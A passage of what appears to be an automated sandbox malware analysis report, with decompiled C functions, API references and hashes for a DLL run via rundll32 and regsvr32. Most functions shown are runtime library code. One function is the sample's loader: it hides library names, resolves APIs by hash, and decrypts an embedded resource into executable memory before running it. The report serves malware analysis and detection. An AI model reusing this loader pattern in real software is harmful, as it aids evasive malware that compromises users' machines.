								_t17 = E6EB66422(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E6EB6CEE7(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x6eb6d14f
0x6eb6d14f
0x6eb6d14f
0x6eb6d14f
0x6eb6d14f
0x6eb6d152
0x6eb6d158
0x6eb6d166
0x6eb6d16c
0x6eb6d174
0x6eb6d180
0x6eb6d188
0x6eb6d190
0x6eb6d1a4
0x6eb6d1a6
0x6eb6d1aa
0x6eb6d1af
0x6eb6d1b5
0x6eb6d1b7
0x6eb6d1b9
0x6eb6d1bc
0x00000000
0x6eb6d1c3
0x6eb6d1b7
0x6eb6d1aa
0x6eb6d1a4
0x6eb6d190
0x6eb6d1c4

APIs

Part of subcall function 6EB66449: __getptd.LIBCMT ref: 6EB6644F
Part of subcall function 6EB66449: __getptd.LIBCMT ref: 6EB6645F

__getptd.LIBCMT ref: 6EB6D15E

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6D16C

Strings

csm, xrefs: 6EB6D17A

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: c82d3c3a3f47f3639075d0419be766aac484af37b81c3371ce32b2bcee8695d9
Instruction ID: 2bcc9ff5f624d17fab6f9e6b5edb1a557e2614dae7d2f48e330962b95394879a
Opcode Fuzzy Hash: c82d3c3a3f47f3639075d0419be766aac484af37b81c3371ce32b2bcee8695d9
Instruction Fuzzy Hash: 00018B308243828ACF20AFE2E45069DBFB9FF18314FA0882ED05196690CB74A980CF01

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5428B Relevance: 5.0, APIs: 4, Instructions: 38
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB5428B(signed int _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t9;
				signed int _t10;
				void* _t13;
				intOrPtr* _t14;

				_t10 = _a4;
				_t15 = _t10 - 0x11;
				if(_t10 >= 0x11) {
					_t4 = E6EB48BA4(_t7, _t9, _t10, _t13, _t15);
				}
				if( *0x6eb8c6f4 == 0) {
					_t4 = E6EB54267();
				}
				_t14 = 0x6eb8c8a8 + _t10 * 4;
				if( *_t14 == 0) {
					EnterCriticalSection(0x6eb8c890);
					if( *_t14 == 0) {
						_t4 = 0x6eb8c6f8 + _t10 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t14 =  *_t14 + 1;
					}
					LeaveCriticalSection(0x6eb8c890);
				}
				EnterCriticalSection(0x6eb8c6f8 + _t10 * 0x18);
				return _t4;
			}

APIs

EnterCriticalSection.KERNEL32(6EB8C890,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542C5
InitializeCriticalSection.KERNEL32(-6EB8C6F8,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542D7
LeaveCriticalSection.KERNEL32(6EB8C890,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542E4
EnterCriticalSection.KERNEL32(-6EB8C6F8,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542F4

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: e10beb5ca481452b33c188a08659e86046a217f3a1ab4cf909b7cfc24e53e66e
Instruction ID: 4f92330492504a4507e2c7e4f1b39ea19d332e6ffaa4e4cf94c7395837701300
Opcode Fuzzy Hash: e10beb5ca481452b33c188a08659e86046a217f3a1ab4cf909b7cfc24e53e66e
Instruction Fuzzy Hash: 80F0F6B2561165AFDB002ED8DC44F5EBF69EBE3315F121521E0015B701CB7194A6CA67

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55595 Relevance: 5.0, APIs: 4, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB55595(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x6eb8c964
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

APIs

EnterCriticalSection.KERNEL32(6EB8C964,73FC5680,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB555A3
TlsGetValue.KERNEL32(6EB8C948,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555B7
LeaveCriticalSection.KERNEL32(6EB8C964,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555CD
LeaveCriticalSection.KERNEL32(6EB8C964,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555D8

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 0ae8b907fe5837c1490cea003b2d1c4ee6aa0f5342c883ad67b317c808d19ade
Instruction ID: 0e8c37522c21ae37a72e90878d73b12964f5f931ecd08996b07173ae272bd00d
Opcode Fuzzy Hash: 0ae8b907fe5837c1490cea003b2d1c4ee6aa0f5342c883ad67b317c808d19ade
Instruction Fuzzy Hash: 5CF0E9B32115149FEB109FA8D888E4FBBBEEF853613164425F50583610DB30F911CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 6444, Parent PID: 6348COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	373
Total number of Limit Nodes:	23

Executed Functions

Function 6EB456B0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 412
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E6EB456B0(void* __edi) {
				void* __ebx;
				void* __esi;
				signed int _t102;
				void* _t108;
				void* _t121;
				intOrPtr _t125;
				intOrPtr _t126;
				intOrPtr _t127;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				intOrPtr _t137;
				intOrPtr _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t165;
				void* _t167;
				signed int _t168;
				signed int _t170;
				signed int _t171;
				intOrPtr _t180;
				signed int _t183;
				signed int _t188;
				struct HINSTANCE__* _t203;
				void* _t204;
				signed int _t205;
				signed int _t206;
				void* _t209;
				void* _t214;
				signed int _t229;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				char _t239;
				signed int _t275;
				signed int _t280;
				signed int _t289;
				void* _t290;
				void* _t291;
				intOrPtr* _t292;
				signed int _t293;
				void* _t294;
				signed int _t300;
				void* _t306;
				signed int _t307;
				void* _t308;
				struct HRSRC__* _t309;
				int _t310;
				signed int _t311;
				void* _t312;
				signed int _t315;
				signed int _t321;
				void* _t328;
				void* _t329;
				void* _t331;
				void* _t338;

				_t290 = __edi;
				_t102 =  *0x6eb89470; // 0x8926f9d4
				 *(_t327 + 0x54) = _t102 ^ _t327;
				_t203 =  *(_t327 + 0x60);
				 *(_t327 + 0x10) = _t203;
				if( *(_t327 + 0x60) != 1) {
					L10:
					_pop(_t306);
					_pop(_t204);
					return E6EB63DE0(1, _t204,  *(_t327 + 0x54) ^ _t327, _t242, _t290, _t306);
				} else {
					_t307 =  *0x6eb8a9d4; // 0x0
					_t108 = E6EB643C3(_t203, _t242, __edi, _t307); // executed
					_t315 = 0;
					_t328 = _t327 + 4;
					if(_t108 == 0) {
						L6:
						 *((short*)(_t328 + 0x44)) = 0x6b;
						 *((short*)(_t328 + 0x46)) = 0x65;
						 *((short*)(_t328 + 0x4c)) = 0x65;
						 *((short*)(_t328 + 0x48)) = 0x72;
						 *((short*)(_t328 + 0x4a)) = 0x6e;
						 *((short*)(_t328 + 0x4e)) = 0x6c;
						 *((short*)(_t328 + 0x52)) = 0x32;
						 *((short*)(_t328 + 0x50)) = 0x33;
						 *((short*)(_t328 + 0x54)) = 0x2e;
						 *((short*)(_t328 + 0x58)) = 0x6c;
						 *((short*)(_t328 + 0x5a)) = 0x6c;
						 *((short*)(_t328 + 0x56)) = 0x64;
						 *((short*)(_t328 + 0x5c)) = 0;
						 *((short*)(_t328 + 0x18)) = 0x6e;
						 *((short*)(_t328 + 0x1a)) = 0x74;
						 *((short*)(_t328 + 0x1e)) = 0x6c;
						 *((short*)(_t328 + 0x1c)) = 0x64;
						 *((short*)(_t328 + 0x24)) = 0x64;
						 *((short*)(_t328 + 0x20)) = 0x6c;
						 *((short*)(_t328 + 0x22)) = 0x2e;
						 *((short*)(_t328 + 0x26)) = 0x6c;
						 *((short*)(_t328 + 0x2a)) = 0;
						 *((short*)(_t328 + 0x28)) = 0x6c;
						 *((short*)(_t328 + 0x2c)) = 0x6d;
						 *((short*)(_t328 + 0x30)) = 0x76;
						 *((short*)(_t328 + 0x2e)) = 0x73;
						 *((short*)(_t328 + 0x32)) = 0x63;
						 *((short*)(_t328 + 0x36)) = 0x74;
						 *((short*)(_t328 + 0x34)) = 0x72;
						 *((short*)(_t328 + 0x38)) = 0x2e;
						 *((short*)(_t328 + 0x3c)) = 0x6c;
						 *((short*)(_t328 + 0x3a)) = 0x64;
						 *0x6eb8a9bc = _t315;
						 *0x6eb8a9c0 = _t315;
						 *0x6eb8a9c4 = _t315;
						 *0x6eb8a9cc = _t315;
						 *0x6eb8a9c8 = _t315;
						 *0x6eb8a9d0 = _t315;
						 *0x6eb8a9d4 = _t315;
						 *((short*)(_t328 + 0x46)) = 0x6c;
						 *((short*)(_t328 + 0x48)) = 0;
						_t121 = E6EB41BD0(_t337);
						_t308 = _t121;
						 *((intOrPtr*)(_t328 + 0x18)) = E6EB41BD0(_t337);
						_t291 = E6EB41BD0(_t337);
						_t125 = E6EB41D20();
						 *0x6eb8d540 = _t125;
						_t126 = E6EB41D20();
						 *0x6eb8d53c = _t126;
						_t127 = E6EB41D20();
						 *0x6eb8d530 = _t127;
						_t128 = E6EB41D20();
						 *0x6eb8d520 = _t128;
						_t129 = E6EB41D20();
						 *0x6eb8d534 = _t129;
						_t130 = E6EB41D20();
						 *0x6eb8d54c = _t130;
						_t131 = E6EB41D20();
						_t329 = _t328 + 0x44;
						 *0x6eb8d4f8 = _t131;
						_t132 = E6EB41D20();
						 *0x6eb8d4fc = _t132;
						_t133 = E6EB41D20();
						 *0x6eb8d508 = _t133;
						_t134 = E6EB41D20();
						 *0x6eb8d524 = _t134;
						_t135 = E6EB41D20();
						 *0x6eb8d51c = _t135;
						_t136 = E6EB41D20();
						 *0x6eb8d518 = _t136;
						_t137 = E6EB41D20();
						 *0x6eb8d528 = _t137;
						_t138 = E6EB41D20();
						 *0x6eb8d550 = _t138;
						_t139 = E6EB41D20();
						 *0x6eb8d50c = _t139;
						_t140 = E6EB41D20();
						 *0x6eb8d504 = _t140;
						_t141 = E6EB41D20();
						 *0x6eb8d548 = _t141;
						 *0x6eb8d544 = E6EB41D20();
						_t143 = E6EB41D20();
						 *0x6eb8d52c = _t143;
						_t144 = E6EB41D20();
						 *0x6eb8d500 = _t144;
						_t292 = E6EB41D20();
						 *0x6eb8d538 = _t292;
						_t146 = E6EB41D20();
						 *0x6eb8d514 = _t146;
						_t147 = E6EB41D20();
						_t331 = _t329 + 0x80;
						 *0x6eb8d510 = _t147;
						_t309 =  *_t292(_t203, 0x18db, 0x6eb7ec80, _t308, 0x26cd7dca, _t308, 0x7b31093d, _t308, 0x4373804c, _t308, 0xd3f13870, _t308, 0x56e62f04, _t308, 0xcfb1d078, _t308, 0x58a70fe0,  *((intOrPtr*)(_t329 + 0x50)), 0x55fc08e8, _t308, 0xf4ae831f, _t308, 0x362cbb69, _t308, 0x6430e074, _t308, 0x6169a9dd, _t308, 0x2ae91975, _t308, 0x8badae6c, _t308, 0x60444859, _t308, 0x7994b016, _t291, 0x65925735, _t291, 0x65ea533a, _t291, 0x4e8a56ec, _t291, 0xf1fb160e, _t291, 0xd78e06bf, _t291, 0x652a1560, _t291, 0x63e21564, _t328 + 0x38, _t328 + 0x20, _t328 + 0x44, _t290);
						 *((intOrPtr*)(_t331 + 0x20)) = LoadResource(_t203, _t309);
						_t310 = SizeofResource(_t203, _t309);
						 *(_t331 + 0x10) = _t310;
						_t338 =  *0x6eb8d508 - _t315; // 0x76d266e0
						if(_t338 == 0) {
							_t293 =  *0x6eb8a9c8; // 0x0
							_t229 =  *0x6eb8a9bc; // 0x0
							_t311 =  *0x6eb8a9c4; // 0x0
							_t205 =  *0x6eb8a9c0; // 0x0
							_t63 = _t293 + 1; // 0x1
							_t65 = (_t205 - _t63 * _t229) * 4; // -15
							_t68 = _t311 * 4; // 0x5
							_t206 =  *0x6eb8a9cc; // 0x0
							_t321 =  *0x6eb8a9c0; // 0x0
							_t275 =  *0x6eb8a9d0; // 0x0
							_t310 =  *(_t331 + 0x14);
							_t81 = _t293 + 1; // 0x1
							_t315 = 0;
							__eflags = 0;
							_t165 = VirtualAlloc(0, _t310, _t311 * _t321 * _t229 + _t311 * _t321 * _t229 * 0x00000004 - ((_t311 + _t68 + 0x00000005) * _t293 + _t321 * _t229 + _t321 * _t229 * 0x00000004) * _t206 + 0x00001000 | ((_t206 + _t311) * _t206 - _t293 * _t229 * _t229 * _t229 + _t275 + _t311) *  *0x6eb8a9c0 - (_t206 + 0x00000001) * _t275 - _t81 * _t293 + _t229 + 0x00002000 + (((_t206 + _t311) * _t206 - _t293 * _t229 * _t229 * _t229 + _t275 + _t311) *  *0x6eb8a9c0 - (_t206 + 0x00000001) * _t275 - _t81 * _t293 + _t229) * 0x00000002, _t293 + _t311 + _t229 + (_t293 + _t311 + _t229) * 4 + (_t205 - _t63 * _t229 + _t65 - 0xf) *  *0x6eb8a9d0 + ((_t311 + _t68 + 5) * _t205 - 0xf) * _t206 + 0x40);
						} else {
							_t289 =  *0x6eb8a9c4; // 0x0
							_t183 =  *0x6eb8a9cc; // 0x0
							_t237 =  *0x6eb8a9d0; // 0x0
							_t51 = (_t183 - _t289) * 2; // -3
							_t188 =  *0x6eb8a9c0; // 0x0
							_t300 =  *0x6eb8a9bc; // 0x0
							_t62 = _t237 - _t188 + _t188 * 2 -  *0x6eb8a9c8 + _t289 + _t300 + (_t237 - _t188 + _t188 * 2 -  *0x6eb8a9c8 + _t289 + _t300) * 2 + 0x2000; // 0x1ffd
							_t165 =  *0x6eb8d508(0xffffffff, _t315, _t310, ((_t183 - _t289 + _t51 - 0x00000003) * _t237 + 0x00000003 -  *0x6eb8a9c8 + 6) *  *0x6eb8a9cc + _t62 | (0x00000001 - _t237 * _t300) * _t289 + 0x00001000, 0x40 + (_t183 - _t237 - _t289) * 4, _t315); // executed
						}
						_t294 = _t165;
						memcpy(_t294,  *(_t331 + 0x18), _t310);
						_t167 = malloc(0x204d); // executed
						_t209 = _t167;
						_t168 =  *0x6eb8a9cc; // 0x0
						_t87 = _t168 -  *0x6eb8a9c4 - 2; // -1857595846
						_t280 =  *0x6eb8a9c8; // 0x0
						_t89 = (_t280 - _t168) * 2; // -1857595789
						_t170 =  *0x6eb8a9c0; // 0x0
						_t171 =  *0x6eb8a9bc; // 0x0
						_t235 =  *0x6eb8a9c4; // 0x0
						_t94 = _t171 + 1; // 0x1
						_t236 =  *0x6eb8a9c0; // 0x0
						_t242 = _t209 + ((_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2) * 2 + (_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2;
						E6EB42060(_t209 + ((_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2) * 2 + (_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2, "+^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n" - _t170 + _t170 * 2 + _t170 + _t170 * 2, (_t168 -  *0x6eb8a9c4 + _t87) *  *0x6eb8a9c0 + _t89 + 0x39);
						E6EB42340();
						 *0x6eb8d530(_t209, _t209, _t294, _t310);
						_t180 = E6EB44010();
						_t327 = _t331 + 0x34;
						 *0x6eb8d558 = _t180;
						 *0x6eb8d554( *((intOrPtr*)(_t331 + 0x4c)), 1, _t315, _t294, _t310);
						_pop(_t290);
						goto L10;
					} else {
						_t239 = 0;
						 *((intOrPtr*)(_t328 + 0xc)) = 0;
						if(_t307 > 0) {
							do {
								 *((char*)(_t239 + _t108)) = _t239;
								_t239 = _t239 + 1;
								_t336 = _t239 - _t307;
							} while (_t239 < _t307);
							 *((intOrPtr*)(_t328 + 0xc)) = _t239;
						}
						_push(_t108); // executed
						E6EB642E6(_t203, _t290, _t307, _t336); // executed
						_t328 = _t328 + 4;
						_t337 =  *((intOrPtr*)(_t328 + 0xc)) - _t307;
						if( *((intOrPtr*)(_t328 + 0xc)) != _t307) {
							E6EB6448D(_t203, _t242, _t290, _t307, __eflags);
							_t312 = 0x6eb7ec94;
							_pop(_t214);
							__eflags = 0;
							return E6EB63DE0(0, _t214,  *(_t328 + 0x64) ^ _t328 + 0x00000004, _t242, _t290, _t312);
						} else {
							goto L6;
						}
					}
				}
			}

APIs

_malloc.LIBCMT ref: 6EB456DD

Part of subcall function 6EB643C3: __FF_MSGBANNER.LIBCMT ref: 6EB643E6
Part of subcall function 6EB643C3: __NMSG_WRITE.LIBCMT ref: 6EB643ED
Part of subcall function 6EB643C3: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C,6EB6AECF), ref: 6EB6443A

LoadResource.KERNEL32(?,00000000), ref: 6EB45A2B
SizeofResource.KERNEL32(?,00000000), ref: 6EB45A37
VirtualAllocExNuma.KERNEL32(000000FF,00000000,00000000,00001FFD,00000000,00000000), ref: 6EB45AD1
VirtualAlloc.KERNEL32(00000000,?,-00001000,?), ref: 6EB45B9E
memcpy.MSVCRT ref: 6EB45BAD
malloc.MSVCRT ref: 6EB45BB8
??3@YAXPAX@Z.MSVCRT ref: 6EB45C3D
_printf.LIBCMT ref: 6EB45C7F

Strings

+^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n, xrefs: 6EB45BF4, 6EB45C01

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocResourceVirtual$??3@AllocateHeapLoadNumaSizeof_malloc_printfmallocmemcpy
String ID: +^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n
API String ID: 3670211829-193388795
Opcode ID: 3eb2f0e02060122ad9907639bbb8e889ed04ef3d4b9beffc2283fa46440eaf52
Instruction ID: 0b5dff88dbada3316cd1c487dff48657c0c05857ab7b7a0e7d667c9ca4f91eaf
Opcode Fuzzy Hash: 3eb2f0e02060122ad9907639bbb8e889ed04ef3d4b9beffc2283fa46440eaf52
Instruction Fuzzy Hash: 49E1B171A18B449BCB04DFB8D844A9FBBAAFFAA304F04492FA044D7394EB749504CF56

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55723 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E6EB55723(void* __ecx) {
				struct _CRITICAL_SECTION* _v8;
				void* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t34;
				void* _t35;
				void* _t36;
				long _t38;
				void* _t39;
				void* _t40;
				long _t51;
				signed char* _t53;
				intOrPtr _t56;
				signed int _t57;
				void* _t61;
				signed int _t68;
				void* _t72;

				_t59 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t72 = __ecx;
				_t1 = _t72 + 0x1c; // 0x6eb8c964
				_t34 = _t1;
				_v8 = _t34;
				EnterCriticalSection(_t34);
				_t3 = _t72 + 4; // 0x20
				_t56 =  *_t3;
				_t4 = _t72 + 8; // 0x3
				_t68 =  *_t4;
				if(_t68 >= _t56) {
					L2:
					_t68 = 1;
					if(_t56 <= 1) {
						L7:
						_t13 = _t72 + 0x10; // 0x3095770
						_t35 =  *_t13;
						_t57 = _t56 + 0x20;
						_t83 = _t35;
						if(_t35 != 0) {
							_t36 = GlobalHandle(_t35);
							_v12 = _t36;
							GlobalUnlock(_t36);
							_t38 = E6EB4847A(_t59, __eflags, _t57, 8);
							_t61 = 0x2002;
							_t39 = GlobalReAlloc(_v12, _t38, ??);
						} else {
							_t51 = E6EB4847A(_t59, _t83, _t57, 8);
							_pop(_t61);
							_t39 = GlobalAlloc(2, _t51); // executed
						}
						if(_t39 == 0) {
							_t16 = _t72 + 0x10; // 0x3095770
							_t72 =  *_t16;
							_t85 = _t72;
							if(_t72 != 0) {
								GlobalLock(GlobalHandle(_t72));
							}
							LeaveCriticalSection(_v8);
							_t39 = E6EB48B6C(_t57, _t61, _t68, _t72, _t85);
						}
						_t40 = GlobalLock(_t39);
						_t18 = _t72 + 4; // 0x20
						_v12 = _t40;
						E6EB65E80(_t68, _t40 +  *_t18 * 8, 0, _t57 -  *_t18 << 3);
						 *(_t72 + 4) = _t57;
						 *(_t72 + 0x10) = _v12;
					} else {
						_t10 = _t72 + 0x10; // 0x3095770
						_t53 =  *_t10 + 8;
						while(( *_t53 & 0x00000001) != 0) {
							_t68 = _t68 + 1;
							_t53 =  &(_t53[8]);
							if(_t68 < _t56) {
								continue;
							}
							break;
						}
						if(_t68 >= _t56) {
							goto L7;
						}
					}
				} else {
					_t5 = _t72 + 0x10; // 0x3095770
					if(( *( *_t5 + _t68 * 8) & 0x00000001) != 0) {
						goto L2;
					}
				}
				_t25 = _t72 + 0xc; // 0x3
				if(_t68 >=  *_t25) {
					_t26 = _t68 + 1; // 0x4
					 *((intOrPtr*)(_t72 + 0xc)) = _t26;
				}
				_t28 = _t72 + 0x10; // 0x3095770
				 *( *_t28 + _t68 * 8) =  *( *_t28 + _t68 * 8) | 0x00000001;
				_t32 = _t68 + 1; // 0x4
				 *(_t72 + 8) = _t32;
				LeaveCriticalSection(_v8);
				return _t68;
			}

APIs

EnterCriticalSection.KERNEL32(6EB8C964,73FC5680,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB55736
GlobalAlloc.KERNEL32(00000002,00000000,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5578C
GlobalHandle.KERNEL32(03095770), ref: 6EB55795
GlobalUnlock.KERNEL32(00000000,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5579F
GlobalReAlloc.KERNEL32 ref: 6EB557B8
GlobalHandle.KERNEL32(03095770), ref: 6EB557CA
GlobalLock.KERNEL32 ref: 6EB557D1
LeaveCriticalSection.KERNEL32(?,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB557DA
GlobalLock.KERNEL32 ref: 6EB557E6
_memset.LIBCMT ref: 6EB55800
LeaveCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,8926F9D4), ref: 6EB5582E

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: 1e6750b31711013780485710c06bd32641eac749072131b89cc580e3198a269b
